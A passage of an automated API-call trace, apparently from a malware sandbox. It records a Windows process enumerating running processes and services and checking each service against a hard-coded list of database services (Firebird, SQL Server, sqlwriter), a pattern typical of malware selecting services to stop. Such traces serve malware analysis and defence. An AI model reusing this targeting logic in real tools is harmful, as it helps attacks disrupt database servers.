th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0302.050] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0302.050] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0302.051] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0302.051] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.051] lstrlenW (lpString="svchost.exe") returned 11 [0302.052] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.052] lstrlenW (lpString="svchost.exe") returned 11 [0302.052] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0302.053] lstrlenW (lpString="dwm.exe") returned 7 [0302.053] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.053] lstrlenW (lpString="svchost.exe") returned 11 [0302.053] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.054] lstrlenW (lpString="svchost.exe") returned 11 [0302.054] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.055] lstrlenW (lpString="svchost.exe") returned 11 [0302.055] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.056] lstrlenW (lpString="svchost.exe") returned 11 [0302.056] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.056] lstrlenW (lpString="svchost.exe") returned 11 [0302.056] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.057] lstrlenW (lpString="svchost.exe") returned 11 [0302.057] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.058] lstrlenW (lpString="svchost.exe") returned 11 [0302.058] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.059] lstrlenW (lpString="svchost.exe") returned 11 [0302.059] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.059] lstrlenW (lpString="svchost.exe") returned 11 [0302.059] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.060] lstrlenW (lpString="svchost.exe") returned 11 [0302.060] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0302.061] lstrlenW (lpString="spoolsv.exe") returned 11 [0302.061] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.061] lstrlenW (lpString="svchost.exe") returned 11 [0302.061] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0302.062] lstrlenW (lpString="audiodg.exe") returned 11 [0302.062] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0302.062] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0302.063] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0302.063] lstrlenW (lpString="Memory Compression") returned 18 [0302.063] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0302.064] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0302.064] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0302.064] lstrlenW (lpString="sihost.exe") returned 10 [0302.065] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.065] lstrlenW (lpString="svchost.exe") returned 11 [0302.065] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0302.066] lstrlenW (lpString="taskhostw.exe") returned 13 [0302.066] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0302.067] lstrlenW (lpString="msoia.exe") returned 9 [0302.067] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0302.068] lstrlenW (lpString="explorer.exe") returned 12 [0302.068] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0302.068] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0302.068] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0302.069] lstrlenW (lpString="SearchUI.exe") returned 12 [0302.069] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0302.070] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0302.070] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0302.070] lstrlenW (lpString="load0.exe") returned 9 [0302.070] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.071] lstrlenW (lpString="svchost.exe") returned 11 [0302.071] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0302.072] CloseHandle (hObject=0x10b4) returned 1 [0302.072] Sleep (dwMilliseconds=0x1f4) [0302.573] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd7b0 [0302.574] EnumServicesStatusExW (in: hSCManager=0x7bd7b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0302.574] GetLastError () returned 0xea [0302.574] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x37b20c0 [0302.574] EnumServicesStatusExW (in: hSCManager=0x7bd7b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37b20c0, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37b20c0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0302.575] CloseServiceHandle (hSCObject=0x7bd7b0) returned 1 [0302.575] lstrlenW (lpString="Appinfo") returned 7 [0302.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0302.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0302.575] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0302.575] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0302.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0302.575] lstrlenW (lpString="AppXSvc") returned 7 [0302.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0302.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0302.576] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0302.576] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0302.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0302.576] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0302.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0302.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0302.576] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0302.576] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0302.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0302.576] lstrlenW (lpString="Audiosrv") returned 8 [0302.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0302.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0302.576] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0302.576] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0302.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0302.576] lstrlenW (lpString="BFE") returned 3 [0302.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0302.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0302.576] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0302.576] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0302.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0302.576] lstrlenW (lpString="BITS") returned 4 [0302.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0302.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0302.576] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0302.576] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0302.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0302.576] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0302.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0302.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0302.577] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0302.577] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0302.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0302.577] lstrlenW (lpString="CDPSvc") returned 6 [0302.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0302.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0302.577] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0302.577] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0302.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0302.577] lstrlenW (lpString="ClickToRunSvc") returned 13 [0302.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0302.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0302.577] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0302.577] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0302.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0302.577] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0302.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0302.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0302.577] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0302.577] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0302.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0302.577] lstrlenW (lpString="CryptSvc") returned 8 [0302.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0302.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0302.577] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0302.577] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0302.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0302.577] lstrlenW (lpString="DcomLaunch") returned 10 [0302.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0302.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0302.577] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0302.577] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0302.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0302.578] lstrlenW (lpString="DeviceAssociationService") returned 24 [0302.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0302.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0302.578] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0302.578] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0302.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0302.578] lstrlenW (lpString="Dhcp") returned 4 [0302.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0302.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0302.578] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0302.578] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0302.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0302.578] lstrlenW (lpString="Dnscache") returned 8 [0302.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0302.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0302.578] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0302.578] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0302.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0302.578] lstrlenW (lpString="DPS") returned 3 [0302.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0302.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0302.578] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0302.578] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0302.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0302.578] lstrlenW (lpString="DusmSvc") returned 7 [0302.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0302.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0302.578] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0302.578] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0302.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0302.579] lstrlenW (lpString="EventLog") returned 8 [0302.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0302.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0302.579] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0302.579] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0302.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0302.579] lstrlenW (lpString="EventSystem") returned 11 [0302.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0302.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0302.579] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0302.579] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0302.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0302.579] lstrlenW (lpString="FontCache") returned 9 [0302.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0302.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0302.579] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0302.579] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0302.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0302.579] lstrlenW (lpString="gpsvc") returned 5 [0302.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0302.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0302.579] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0302.579] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0302.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0302.579] lstrlenW (lpString="iphlpsvc") returned 8 [0302.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0302.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0302.579] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0302.579] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0302.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0302.579] lstrlenW (lpString="KeyIso") returned 6 [0302.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0302.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0302.579] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0302.579] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0302.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0302.580] lstrlenW (lpString="LanmanServer") returned 12 [0302.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0302.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0302.580] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0302.580] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0302.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0302.580] lstrlenW (lpString="LanmanWorkstation") returned 17 [0302.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0302.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0302.580] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0302.580] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0302.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0302.580] lstrlenW (lpString="lfsvc") returned 5 [0302.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0302.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0302.580] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0302.580] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0302.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0302.580] lstrlenW (lpString="lmhosts") returned 7 [0302.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0302.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0302.580] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0302.580] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0302.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0302.580] lstrlenW (lpString="LSM") returned 3 [0302.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0302.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0302.580] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0302.580] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0302.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 